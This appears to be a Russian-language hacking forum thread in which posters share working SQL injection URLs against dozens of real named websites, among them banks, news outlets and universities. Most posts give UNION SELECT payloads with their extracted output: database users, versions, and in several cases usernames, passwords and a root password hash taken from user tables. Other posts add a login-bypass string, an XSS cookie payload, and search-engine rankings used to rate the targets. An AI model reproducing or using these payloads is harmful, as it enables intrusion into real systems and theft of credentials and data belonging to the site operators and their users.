SQL-инъекции

Код:

http://www.pro-xenon.ru/xenon.php?id=-55+union+select+1,2,concat_ws(0x3a,user(),version(),database())--

pro-xenon@localhost:5.0.51a-3ubuntu5-logro-xenon

Код:

http://www.mirvokrug.info/crimea/pano.php?id=-55+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4--

chernish@localhost:5.0.67-percona-highperf-b7-log:chernish_hotel3d

 

Код:

http://www.slsensor.com/stat.php?id=99999+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),7,8--

web48@localhost:5.0.32-Debian_7etch8-log:usr_web48_1

Код:

http://www.chayka.org/article.php?id=999+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11--

seagullmag@localhost:5.0.51a:seagullmag

http://anonscs.net76.net

 

http://www.gamesinaflash.com/game.p...user(),8/**/FROM/**/members/**/LIMIT/**/0,1/*
version - 4.1.22-standard
database - designnow
user - designnow@localhost
table(members) - (username, password)

http://www.gamesinaflash.com/game.p...,5,6,7,8/**/FROM/**/members/**/LIMIT/**/0,1/*

 

Caйт посвященный дню специалиста по безопасности:

Код:

www.securityday.ru/news.cfm?nid=-12+UNION%20ALL%20SELECT%20newsid%20%20FROM%20forum_mes

Причем, не blind SQL injection.

Админов проинформировал неделю назад, но до сих пор ничего не сделано, видимо ждут 12 ноября

 

Код:

http://www.michaelpollan.com/article.php?id=-97+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10--

5.0.81-community:pollan_article@localhost:pollan_articles 

 

Код:

http://www.stv.lv/modules.php?op=modload&name=News&file=article&sid=3170+and+0+union+select+1,concat_ws(0x3a,pn_uname,pn_email,pn_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+nuke_users+limit+1,1/*

http://www.stv.lv/modules.php?op=modload&name=News&file=article&sid=3170+and+0+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+stvphorum_auth+limit+0,1/*

Добавлено через 21 минуту

Код:

http://newkurkino.ru/modules.php?op=modload&name=News&file=article&sid=64+and+0+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21+from+nuke_users--

 

Код:

http://ru-board.com/new/article.php?sid=108+and+mid(bin(ascii(lower(mid((select+column_name+from+information_schema.columns+where+table_name=0×6E756B655F7573657273+limit+4,1),1,1)))),7,1)=char(48)–

лень нальше ковырять))

Добавлено через 11 часов 44 минуты

Код:

http://www.gommed.ru/shop/items.php?id=590'+union+select+1,2,versio(),4,5,6,7,8,9,10,11,12/*

Добавлено через 13 часов 43 минуты

Код:

http://botox.axilla.ru/parts.php?id=35'+union+select+1,2,3,4,version(),6,7,8,9,10,11/*

Добавлено через 13 часов 49 минут

Код:

http://www.hyperhidrosis.ru/parts.php?id=55'+union+select+1,2,3,4,version(),6,7,8,9,10,11/*

Добавлено через 14 часов 21 минуту

Код:

http://www.biznes-nikopol.com.ua/index.php?option=com_neorecruit&task=offer_view&id=11+and+0+union+select+1,2,3,4,5,concat_ws(0x3a,username,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users/*&Itemid=228

http://www.biznes-nikopol.com.ua/administrator/

 

средний датинг

Код:

http://us-en.abctribe.com/usweb/Pagamenti/PagamentiDettaglio.asp?ProdottoID=59 and 1=2 UNION SELECT top 1 1,2,3,table_name,4,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_name not in ('')+--

таблицы

ни намека не админку


Hookman,

_http://milw0rm.com/exploits/4305

 

Код:

http://www.sovadmin.gomel.by/news.php?id=1529+and+0+union+select+1,version(),3,4,5,6,7,8,9--

pr 5 тиц 20

Добавлено через 14 минут

Код:

http://www.fc-anji.ru/news.php?id=660+and+0+union+select+1,version(),3,4,5,6--

pr 4 тиц 140

Добавлено через 44 минуты

Код:

http://www.city.vbg.ru/index.php?id=1395+and+0+union+select+1,2,concat_ws(0x3a,email,password),4,5,6,7,8+from+users+limit+1,1--

тиц 110

 

Код:

http://www.rdg.org/index.php?view=news_items&id=-100%27+union+select+1,2,version%28%29,4,5,6,7,8,9/*

Код:

http://www.play.simongames.co.uk/component/fabble/?view=person&id=-62+union+select+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users+limit+2,1--

 

Код:

http://faculty.ru/show.php?id_a=82&page=2+and+1--
http://faculty.ru/show.php?id_a=82&page=2+and+0--
pr:3 тиц:50

 

UnHidden Content:

_ww.upublish.info/article.php?id=-337080+union+select+1,2,3,4,version(),6,7--&act=print
pr:4

 

UnHidden Content:

Код:

http://www.fondsk.ru/articlelist.php?section_id=38+and+0+union+select+version()--
ТИЦ: 750 
PR: 5

Найдите админку))))))

 

Код:

http://www.free-website-template.net/templates-preview.php?t=-300109866+/*!union*/+select+1,2,3,4,5,6,version(),8,9--+&aff=598003
http://www.templatebozz.com/p/-481+union+select+1,2,user(),4,5,6,version(),8,9,10,11,12,13
http://sesweb.ses.pdx.edu/ceed_cat/list_topic.cfm?id=182+and+5=@@version

 

UnHidden Content:

Код:

http://www.rusvisa.ru/service-txt.shtml?id=5'+and+1/*
http://www.rusvisa.ru/service-txt.shtml?id=5'+and+0/*

PR:4 ТИЦ:250

Добавлено через 35 минут

Код:

http://www.varvara-music.ru/music.html?id=5+and+0+union+select+1,2,3,4,5,version(),7,8,9,10,11,12--

http://www.varvara-music.ru/music.html?id=5+and+0+union+select+1,2,3,4,5,concat_ws(0x3a,username,password,email,icq,aim,yahoo,msn,skype,adminoptions),7,8,9,10,11,12+from+u22869_2.user--

/*
u22869_2 passhistory
u22869   forum : id,email,author,password
u22869_2 user: username,password,email,icq,aim,yahoo,msn,skype,adminoptions
*/

Добавлено через 23 часа 23 минуты

Код:

http://www.supernaturale.com/categories.html?id=23'+union+select+1,version(),1,1,1,1/*
pr6

 

Код:

http://www.mfpl.ac.at/index.php?cid=58+and+0--
http://www.mfpl.ac.at/index.php?cid=58+and+1--
pr7

Добавлено через 18 минут

Код:

http://www.supernaturale.com/admin
в поля логина и пароля вводим ' or '1'='1

Добавлено через 32 минуты

Код:

http://www.iq-pack.com.ua/18.php?cid=7+and+0+union+select+1,concat_ws(0x3a,user,pdw),3+from+users+limit+0,1--
root:4b5b6200cc8a7ba5724eadf25e490d8b

Добавлено через 18 часов 24 минуты

Код:

http://americanambassadors.org/index.cfm?fuseaction=Events.view&eventid=25+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+members%00

 

Код:

http://www.vesti-moscow.ru/rnews.html?id=88878+order+by+12--&cid=15   ok
http://www.vesti-moscow.ru/rnews.html?id=88878+order+by+13--&cid=15   redirect

Добавлено через 26 минут

Код:

http://www.spaceref.com/tools/imgcathp.html?cid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
тиц 210

Добавлено через 5 часов 56 минут

Код:

http://www.avtodiagnostika.ru/modules/articles/article.php?id=39+union+select+1,2,3,4,concat_ws(0x3a,login,passwd,id),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+u218699.users+limit+1,1--

Добавлено через 22 часа 42 минуты

Код:

http://www.fulbright.org.ua/page.php?pid=-35+and+0+union+select+concat_ws(0x3a,name,pass)+from+auth+limit+0,1--&lang=1
тиц 180


http://www.fulbright.org.ua/page.php?pid=-35+and+0+union+select+%3Cscript%3Ealert(document.cookie)%3C/script%3E--&lang=1

 

swedbank.ua

UnHidden Content:

Код:

http://swedbank.ua/index.php?cat=349&news=3477+and+0--
http://swedbank.ua/index.php?cat=349&news=3477+and+1--

Добавлено через 4 часа 14 минут

Код:

http://www.azaniabank.co.tz/images_list.php?gal_id=19+and+1&owner=
http://www.azaniabank.co.tz/images_list.php?gal_id=19+and+0&owner=

 

UnHidden Content:

azania_db а дальше гемор =)

//мне влом позапросами ковырять) если будет свободное время можно будет тузлой какой-нить...

 

Код:

http://www.devbank.com/customercare.php?subcat=-37+union+select+version()/*&title=Correspondent%20Banks]